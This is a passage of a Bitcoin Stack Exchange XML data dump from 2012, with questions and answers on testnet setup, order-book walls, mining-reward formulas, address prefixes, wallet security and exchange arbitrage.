  <row Id="2946" PostTypeId="2" ParentId="2941" CreationDate="2012-02-16T09:35:46.190" Score="2" Body="&lt;p&gt;Yes, run &lt;code&gt;bitcoind&lt;/code&gt; instead of &lt;code&gt;bitcoin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If bitcoind isn't working, but bitcoin-qt is working, then do this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt -server -datadir=1&#xA;bitcoin-qt -server -datadir=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will only work if you run the commands from inside the &lt;code&gt;testnet-box&lt;/code&gt; folder.  Alternatively specify full path names to the &lt;code&gt;1&lt;/code&gt; and &lt;code&gt;2&lt;/code&gt; folders: &lt;code&gt;datadir=/home/chris/testnet-box/1&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to download the &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/testnet-in-a-box/testnet-box.zip/download&quot; rel=&quot;nofollow&quot;&gt;testnet-box.zip&lt;/a&gt; file and extract it.  That will make you the two folders &lt;code&gt;1&lt;/code&gt; and &lt;code&gt;2&lt;/code&gt;.  Both folders have testnet blockchain files, a wallet, and a &lt;code&gt;bitcoin.conf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Folder 1's &lt;code&gt;bitcoin.conf&lt;/code&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcpassword=123   # Set this yourself.&#xA;noirc=1&#xA;testnet=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it will run a testnet instance, not connect to IRC, and set the password to '123' for RPC connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Folder 2's &lt;code&gt;bitcoin.conf&lt;/code&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcpassword=123   # Set this yourself.&#xA;noirc=1&#xA;testnet=1&#xA;rpcport=19332&#xA;nolisten=1&#xA;connect=127.0.0.1:18333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is the same as the other except that it listens for RPC connections on a different port, doesn't listen for incoming P2P connections at all, and only connects to the other instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There shouldn't be a port conflict.  The first will be listening on port 8332 for RPC connections and port 18333 for P2P connections.  The second will be listening on port 19332 for RPC connections, and not listening for P2P connections at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: if you're running the 0.6.0 release candidate, the &lt;code&gt;nolisten=1&lt;/code&gt; in node 2's bitcoin.conf won't work.  You'll need to change it to &lt;code&gt;listen=0&lt;/code&gt; due to &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/846&quot; rel=&quot;nofollow&quot;&gt;a bug&lt;/a&gt; I found and reported while researching this answer.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-17T04:27:32.220" LastActivityDate="2012-02-17T04:27:32.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2947" PostTypeId="2" ParentId="2937" CreationDate="2012-02-16T09:36:06.487" Score="6" Body="&lt;p&gt;If you are a student from China, studying in the UK (say) - you can buy bitcoins on btcchina.com directly from your Chinese bank account, send them to Intersango.com and sell them for GBP, and transfer them to your UK bank account. &#xA;You can avoid having to send thousands of pounds to a British bank account to cover your expected expenses and instead just convert your money as and when you need it.&lt;/p&gt;&#xA;" OwnerUserId="1072" LastActivityDate="2012-02-16T09:36:06.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2948" PostTypeId="2" ParentId="2944" CreationDate="2012-02-16T10:14:45.127" Score="24" Body="&lt;p&gt;Traders often view the market depth using real-time graphical tools like &lt;a href=&quot;http://www.btccharts.com/&quot; rel=&quot;noreferrer&quot;&gt;btccharts&lt;/a&gt; or &lt;a href=&quot;http://mtgoxlive.com/&quot; rel=&quot;noreferrer&quot;&gt;mtgoxlive&lt;/a&gt;.  These display the bids and asks as sloping lines moving up and away from the current price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When there is a large bid or large ask, the sloping line goes vertical, resembling a wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example below, from btccharts.com, we can see a bid wall at $3.90, where someone is offering to buy 10,000 bitcoins for $3.90 each:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BYIpO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you must be misunderstanding the Bitcoin forums.  People use all kinds of strategies when trading on the Bitcoin markets.  One such strategy (known as &lt;a href=&quot;http://invest.yourdictionary.com/spoofing&quot; rel=&quot;noreferrer&quot;&gt;spoofing&lt;/a&gt;) is for a trader to put up a large bid wall, making it look like there's a huge demand, with the sole intention of driving the price up by tricking other speculators into buying.  Once the price has risen, the trader cancels his large bid wall and sells his bitcoins at an artificially inflated price.  If the price starts to fall instead of rise, the bid walls will often be taken down before they are sold into, indicating that perhaps they were never genuine offers to buy in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's often said that the presence of walls in the orderbook don't really give a clear indication of future price movements in either direction, since they are so easy to create if you have deep enough pockets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I just noticed &lt;a href=&quot;https://bitcointalk.org/index.php?topic=64122.0&quot; rel=&quot;noreferrer&quot;&gt;this forum thread&lt;/a&gt; in which people are discussing &quot;the wall at 3.9&quot;.  That's the one I took the photo of!  :)&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-17T22:23:55.400" LastActivityDate="2012-02-17T22:23:55.400" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2949" PostTypeId="2" ParentId="2937" CreationDate="2012-02-16T18:02:19.060" Score="8" Body="&lt;p&gt;&lt;strong&gt;To participate in a disruptive technology&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of the other answers are covering the investment angle, but also consider that Bitcoin is a disruptive technology. Bitcoin allows an individual the kind of control over their money which has never been available before in all of history. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very big deal. It is now possible to send any amount of money, to anyone, anywhere in the world, anonymously (if you're very careful) in moments. This was not possible before now for a multitude of reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;governments restricting destinations / amounts&lt;/li&gt;&#xA;&lt;li&gt;banks not having a presence in some regions&lt;/li&gt;&#xA;&lt;li&gt;excessive fees (particularly for small amounts)&lt;/li&gt;&#xA;&lt;li&gt;unreliability of some postal services&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of the above may or may not concern you, but they do affect the lives of many. By offering an alternative Bitcoin can potentially bring about a societal change in the same way that mobile phones and email have. Already the idea of sending someone some small change, in bitcoins, as a reward for their creative efforts has become commonplace to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The knock-on effect of this is to encourage that author or artist to produce more, and the world becomes enriched. In volume, those bitcoins can free them from a tedious day job and allow them to pursue their dream. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely, that's worth a bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-02-16T18:02:19.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2951" PostTypeId="2" ParentId="1447" CreationDate="2012-02-16T20:33:51.870" Score="12" Body="&lt;p&gt;The code that &lt;a href=&quot;https://intersango.com/&quot;&gt;Intersango&lt;/a&gt; runs is no longer open source as I understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Australian &lt;a href=&quot;https://www.worldbitcoinexchange.com/&quot;&gt;World Bitcoin Exchange&lt;/a&gt; uses a &lt;a href=&quot;https://github.com/dooglus/intersango/commits/aud&quot;&gt;heavily modified&lt;/a&gt; version of the old open source Intersango code, and remains open source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure: I'm the one who heavily modified it.  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fiat deposits and withdrawals are handled manually.  For a while we looked into automating the process, but the bank charges more for the necessary &lt;a href=&quot;http://www.xero.com/&quot;&gt;banking API&lt;/a&gt; than the  exchange generates in commission.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-16T20:33:51.870" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2952" PostTypeId="1" AcceptedAnswerId="2953" CreationDate="2012-02-16T22:06:34.467" Score="4" ViewCount="245" Body="&lt;p&gt;I just found this gem - &lt;a href=&quot;https://en.bitcoin.it/wiki/Discouraged_block&quot; rel=&quot;nofollow&quot;&gt;Discouraged Block&lt;/a&gt;. It proposes a method where miners &quot;will&quot; (are requested to?) ignore chains with certain blocks at the tip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not like anyone can dictate the behavior of all miners, but if large parts of the network choose this discouragement strategy, then it becomes unprofitable for any single miner not to join in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are any current miners/pools for or against this discouragement policy (currently, the only policy is &quot;ignore forks where the coinbase of the block at the tip does not contain the block height&quot;)?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-14T13:21:44.913" LastActivityDate="2016-03-14T13:21:44.913" Title="Who obeys discouraged blocks?" Tags="|blockchain|mining-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2953" PostTypeId="2" ParentId="2952" CreationDate="2012-02-17T04:23:10.447" Score="2" Body="&lt;p&gt;I suspect what will happen is that most of the mining pools will use the official client, and so will use the discouragement policy as set by Gavin et al.  This will make it in each pool's best interest to not have their blocks be &lt;em&gt;discouraged&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-17T04:23:10.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2954" PostTypeId="2" ParentId="2939" CreationDate="2012-02-17T15:15:17.227" Score="1" Body="&lt;p&gt;You can see which miners support what features here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork_support&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getwork_support&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;midstate&quot; is the feature you are looking for in this case.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-02-17T15:15:17.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2955" PostTypeId="2" ParentId="2240" CreationDate="2012-02-17T16:12:23.950" Score="5" Body="&lt;p&gt;I agree with the answers of both Ian and Ben. Let me point out that I like the StrongCoin service. As former CEO of Hushmail, I would like to add some relevant information because Hushmail is like an encrypted wallet for email and we faced a similar set of issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other risks that need to be addressed with services such as StrongCoin are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Spoofed applet - The browser-based java applet that is served to you should be published as source code so that users may compile it themselves and/or seek review from cryptography peer-review groups, as Hushmail did. You should also have the ability to store locally a version of the trusted applet for your own use. This is important if you still want to use the service after StrongCoin receives a court order to serve compromised applets to certain persons suspected of 'something'.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Weak password - Since the private keys are stored on StrongCoin servers encrypted and protected with a passphrase, you would be subject to brute force attacks from anyone that gained access to the server data so a strong password is essential.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keyboard sniffers and cameras - You are only as secure as your physical surroundings so be aware of keyboard loggers (hardware and software) and cameras that may have been inconspicuously placed above your computer work station to capture your passphrase.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Legal and physical jurisdiction - The StrongCoin servers are subject to court orders of the jurisdiction in which they they are located. If StrongCoin is legally domiciled in a different jurisdiction than the physical servers, then that country's courts could also have jurisdiction. Both jurisdictions should be examined for their privacy and data protection statutes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(a) &lt;a href=&quot;http://www.hushmail.com/about/technology/security/&quot;&gt;http://www.hushmail.com/about/technology/security/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(b) &lt;a href=&quot;http://www.schneier.com/essay-191.html&quot;&gt;http://www.schneier.com/essay-191.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="916" LastActivityDate="2012-02-17T16:12:23.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2956" PostTypeId="1" CreationDate="2012-02-17T19:30:42.270" Score="3" ViewCount="996" Body="&lt;p&gt;The CBS Show &quot;The Good Wife&quot; had a series of shows speaking about the Bitcoin and its creation. Although the show is entertaining, it is prudent for those of you who know the truth to record it for historical purposes, not letting the TV drama perpetuate inaccuracies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you haven't seen it, you can look here: &lt;a href=&quot;http://www.cbs.com/shows/the_good_wife/video/2186658794/the-good-wife-bitcoin-for-dummies&quot; rel=&quot;nofollow&quot;&gt;http://www.cbs.com/shows/the_good_wife/video/2186658794/the-good-wife-bitcoin-for-dummies&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:  Is there a Bitcoin manifesto written by Mr. Nakamoto?  Is it possible to embed a character string in the block chain?  Was Bitcoin incorporated?  Was there a lawyer involved who paid people to write code?  Has anyone accused Mr. Nakamoto of being a lawyer? (sorry Sir, I know this is a low blow).  Is Decode-a-thon the name of the conference where all the cryptologists go?  &lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="5406" LastEditDate="2021-02-01T19:47:01.447" LastActivityDate="2021-02-01T19:47:01.447" Title="What are some of the Bitcoin inaccuracies in the CBS Show &quot;The Good Wife&quot;?" Tags="|history|pop-culture-references|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2957" PostTypeId="2" ParentId="2956" CreationDate="2012-02-17T22:45:52.517" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a Bitcoin manifesto written by Mr. Nakamoto?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really. Satoshi wrote some political stuff, but not much. Mostly he focused on the technical issues. This article is the most political thing Satoshi wrote, and it sounds kind of like a manifesto:&#xA;&lt;a href=&quot;http://p2pfoundation.ning.com/forum/topics/bitcoin-open-source&quot; rel=&quot;noreferrer&quot;&gt;http://p2pfoundation.ning.com/forum/topics/bitcoin-open-source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line from the show was very unlike anything ever written by Satoshi, though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to embed a character string in the block chain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. Anyone can do it. Run &lt;em&gt;strings -n 20&lt;/em&gt; on blk0001.dat and you'll see all of the strings that people have put into the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notably, the very first Bitcoin block (created by Satoshi) contains this text:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, after The Good Wife someone actually put &quot;Stack is innocent&quot; into the chain. :-)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Was Bitcoin incorporated?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Still isn't.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Was there a lawyer involved who paid people to write code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as is publicly known, no one was ever paid for Bitcoin coding until after Satoshi left.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-02-17T22:45:52.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2958" PostTypeId="2" ParentId="484" CreationDate="2012-02-18T01:35:50.013" Score="1" Body="&lt;p&gt;I have myself worried about this, but:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the volume of traded bitcoins increases so will the transfer chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the size of the chain is not a big problem, validating that there are no double transfers would take increasingly more GPU time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such it is possible that many miners will start to cull the chain on their own to be faster and in many doing so it becomes the de facto standard to cull the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If growing computer power makes chain handling a non issue a similar thing could still happen; if bitcoin markets are weighed down by too many missing coins, fewer miners will exist and as such security diminishes - once enough coins have been stolen the system will reboot, so to speak, and hacking/mining will become hard once more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it DOES become an issue, a new crypto-currency backed by the few bitcoins left would be divisible once again.&#xA;If a lost key is recovered and bitcoin supply is very small there will be a massive upset and people will likely just switch entirely to the new cryptocurrency with little hassle as when the dollar went off gold entirely and no one noticed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that your bitcoin savings are probably limited at around maximum 200 years and minimum 10-20 with no self-sending.&lt;/p&gt;&#xA;" OwnerUserId="1076" LastActivityDate="2012-02-18T01:35:50.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2959" PostTypeId="2" ParentId="118" CreationDate="2012-02-18T04:54:40.897" Score="11" Body="&lt;p&gt;If:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D is the current difficulty&#xA;H is your hash rate in Mhash/s&#xA;B is block reward in BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can expect to earn:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  (H*B/D) * (60*60*24 * 65535 * 10^6 / 2^48)&#xA;= (H*B/D) * (5.662224e15 / 2^48)              BTC per day (1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or roughly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  (H*B/D) * 20.11626                          BTC per day (2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The current block reward B is a little over 12.5 BTC if you take transaction fees into account. (The transaction fees vary block by block; the core reward halves periodically, e.g. to 6.25 in mid-2020.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) is exactly correct&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) is an approximation, correct to 7 significant digits&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/135/659&quot;&gt;This answer&lt;/a&gt; is slightly off due to assuming 65535 == 65536.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="26673" LastEditDate="2017-12-22T22:53:16.723" LastActivityDate="2017-12-22T22:53:16.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2960" PostTypeId="1" AcceptedAnswerId="2962" CreationDate="2012-02-18T08:44:33.620" Score="3" ViewCount="7180" Body="&lt;p&gt;I know Bitcoin addresses start with &lt;code&gt;1&lt;/code&gt;, and it seems that testnet addresses start with &lt;code&gt;m&lt;/code&gt; or &lt;code&gt;n&lt;/code&gt;, and Namecoin addresses start with &lt;code&gt;N&lt;/code&gt;, but is there a more complete list that would allow me to identify the coin type from an address?  I hope this isn't offtopic, asking about other block chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I specifically want to know what these addresses are for (they're embedded in the executable linked to in &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2778/659&quot;&gt;this question&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3Q9yidc7Sqwj4fkFmomzC4fqyFzNGTA21x&#xA;3Nw1sp46VjHyVDDAaQhDHZSX4xvoqNzrBs&#xA;3NjPgjfMAAbamPE5PcgvXHSkCzq4kqijpH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but a complete list associating address prefixes with coin types would be more useful.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-02-19T06:34:27.400" Title="How can I identify the coin type from its address?" Tags="|alternatives|address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2961" PostTypeId="1" CreationDate="2012-02-18T18:43:45.317" Score="5" ViewCount="1877" Body="&lt;p&gt;&lt;a href=&quot;http://www.prestashop.com/&quot;&gt;PrestaShop&lt;/a&gt; is a free, secure and open source shopping cart platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am searching for a PrestaShop payment processor with the following features:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;works without without third party (save commission)&lt;/li&gt;&#xA;&lt;li&gt;gives a new address to every checkout&lt;/li&gt;&#xA;&lt;li&gt;automatically verifies in admin/customer after N confirmations&lt;/li&gt;&#xA;&lt;li&gt;gives wallet info in admin panel&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Alternatively, is there a PHP implementation with these functions to allow coding all this? &lt;/p&gt;&#xA;" OwnerUserId="1079" LastEditorUserId="659" LastEditDate="2012-02-22T01:07:12.933" LastActivityDate="2021-10-19T17:23:17.680" Title="Is there a Bitcoin gateway for PrestaShop with these specific features?" Tags="|payment|shopping-cart-interface|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2962" PostTypeId="2" ParentId="2960" CreationDate="2012-02-18T21:31:32.797" Score="3" Body="&lt;p&gt;There is a list &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding#Version_bytes&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and a more detailed one &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. 3 is indeed for a Bitcoin script hash.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-02-19T06:34:27.400" LastActivityDate="2012-02-19T06:34:27.400" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2963" PostTypeId="2" ParentId="2956" CreationDate="2012-02-18T21:54:46.067" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Has anyone accused Mr. Nakamoto of being a lawyer?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not that I know of.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is Decode-a-thon the name of the conference where all the cryptologists go?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As I recall there were two conferences mentioned, Decode-a-con and Cryptobash. According to Google it seems neither is real. &lt;a href=&quot;http://www.iacr.org/events/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a list of some cryptography conferences and events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd have to rewatch the episode for a full list of inaccuracies. To begin with, the premise of the episode is that creating a currency is illegal in the US, which I'm pretty sure is false. A few things come to mind which might not be factual errors, but I think are misleading:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It was said that bitcoins had been traded at $33 because &quot;people were hoarding&quot;. Whatever hoarding is, it's not something that causes prices to soar rapidly. The spike was more likely caused by media hype and the lack of good short-selling options. Also the figure is off, as far as I can tell the all-time high was $31.9099.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Someone was asked if he had paid with &quot;bitcoins that he mined&quot;, with a tone suggesting that mining is the only, or even the preferred, method of obtaining bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There were some non-Bitcoin-specific &quot;hacking stuff&quot; in the episode which I know very little about, but can only assume do not work like that in the real world.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The final revelation of Satoshi's (who, by the way, is not called &quot;Mr. Bitcoin&quot; in reality) identity is of course strictly the product of the authors' imagination.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-02-18T22:01:34.673" LastActivityDate="2012-02-18T22:01:34.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2964" PostTypeId="2" ParentId="569" CreationDate="2012-02-19T04:03:13.657" Score="5" Body="&lt;p&gt;See this &lt;a href=&quot;http://www.fem.uniag.sk/mefi/pdf/arbitraz.pdf&quot;&gt;pdf&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were asking about a two currency arbitrage between different markets.  For example, the BTC/USD exchange rate at &lt;a href=&quot;http://www.mtgox.com&quot;&gt;MtGox&lt;/a&gt; and one at &lt;a href=&quot;https://intersango.com/&quot;&gt;Intersango&lt;/a&gt; then the following formulas apply considering brokerage fees at both exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simplicity I am using BTC as the base currency and USD as the quote currency, but you can exchange these easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;A&lt;/code&gt; is the exchange rate of BTC/USD on exchange MtGox&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;B&lt;/code&gt; is the exchange rate of XXX/YYY on exchange Intersango&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Fa&lt;/code&gt; is the fee of MtGox&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Fb&lt;/code&gt; is the fee of Intersango&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a no arbitrage opportunity if &lt;code&gt;A = B + ( Fa + Fb )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if &lt;code&gt;A - B &amp;gt; Fa + Fb&lt;/code&gt; then the the base currency, BTC, is cheaper on exchange B than in A.  So the person would buy BTC on Intersango (B) and sell BTC on MtGox (A).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;profit = A - B - ( Fa + Fb )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;B - A &amp;gt; ( Fa + Fb )&lt;/code&gt; then the base currency, BTC, is cheaper on exchange A than in B.  So the person would buy the BTC on MtGox (A) and sell it on Intersango (B).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;profit = B - A - ( Fa + Fb )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other arbitrage opportunities will exist such as triangular arbitrage.  But those won't develop until the exchanges not only have BTC/fiat currency pairs but other currency pairs as well.&lt;/p&gt;&#xA;" OwnerUserId="1009" LastEditorUserId="659" LastEditDate="2012-03-07T18:44:57.273" LastActivityDate="2012-03-07T18:44:57.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2965" PostTypeId="2" ParentId="2506" CreationDate="2012-02-19T04:23:57.097" Score="3" Body="&lt;p&gt;There's one thing that you must consider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were using your own Mycoin instead of Bitcoin, you could grant users coins in game (in a limited amout), so that &quot;premium&quot; features could be earned simply by playing a lot (which some games do). Now, you wouldn't give people bitcoins that costed you money just for playing your game (for free), would you?&lt;/p&gt;&#xA;" OwnerUserId="1081" LastActivityDate="2012-02-19T04:23:57.097" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="2967" PostTypeId="1" AcceptedAnswerId="2978" CreationDate="2012-02-19T16:53:32.733" Score="6" ViewCount="240" Body="&lt;p&gt;Let's say Alice has two CPUs, and Bob has only one. Let's assume Alice and Bob are the only miners in the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will happen if Alice did the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Calculate the nonce for the next block and send it occasionally.&lt;/li&gt;&#xA;&lt;li&gt;Whenever Bob solves and transmits a block, DON'T accept his block, but instead try to solve another block at the same height, and a successive block.&lt;/li&gt;&#xA;&lt;li&gt;When done calculating, send both blocks to the network. They should be accepted instead of Bob's transaction, and since you're 2 times speedier than Bob, in average you'll be able to prevent Bob from mining coins.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;While this is a somewhat artificial example, I think that it might represent a real problem. A group of strong participants can prevent weaker players from mining, even if this group does not control the majority of CPU resources in the network.&lt;/p&gt;&#xA;" OwnerUserId="1082" LastEditorUserId="659" LastEditDate="2012-02-20T03:14:35.143" LastActivityDate="2013-10-14T12:28:01.037" Title="Are competing blocks a problem to weak participant of the network?" Tags="|blockchain|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
